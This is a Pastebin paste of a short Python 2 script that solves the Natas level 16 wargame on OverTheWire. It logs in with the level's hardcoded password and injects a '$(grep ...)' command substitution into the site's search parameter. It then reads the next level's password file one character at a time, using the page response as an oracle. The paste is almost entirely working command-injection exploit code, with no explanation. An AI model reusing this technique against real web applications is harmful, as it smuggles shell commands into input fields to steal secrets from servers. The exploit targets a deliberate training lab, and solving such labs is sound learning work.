Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import httplib
- import urllib
- import base64
- charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
- headers = {}
- username = "natas16"
- password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
- conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org")
- login = base64.encodestring(username + ":" + password).replace('\n', '')
- headers["Authorization"] = ("Basic " + login)
- i = 0
- passwd = ""
- while i != 32:
- print "Figuring out keyword for number " + str(i+1) + "..."
- for c in charset:
- passwd += c
- query = urllib.quote_plus("$(grep -E ^" + passwd + ".* /etc/natas_webpass/natas17)test")
- conn.request("POST", "/?needle=" + query + "&submit=Search", "",headers)
- raw = conn.getresponse()
- data = raw.read()
- if data.count("test") == 0:
- print"Current password: " + passwd
- i += 1
- break
- else:
- passwd = passwd[:-1]
- conn.close()
- print "Final password: " + passwd
Advertisement
Add Comment
Please, Sign In to add comment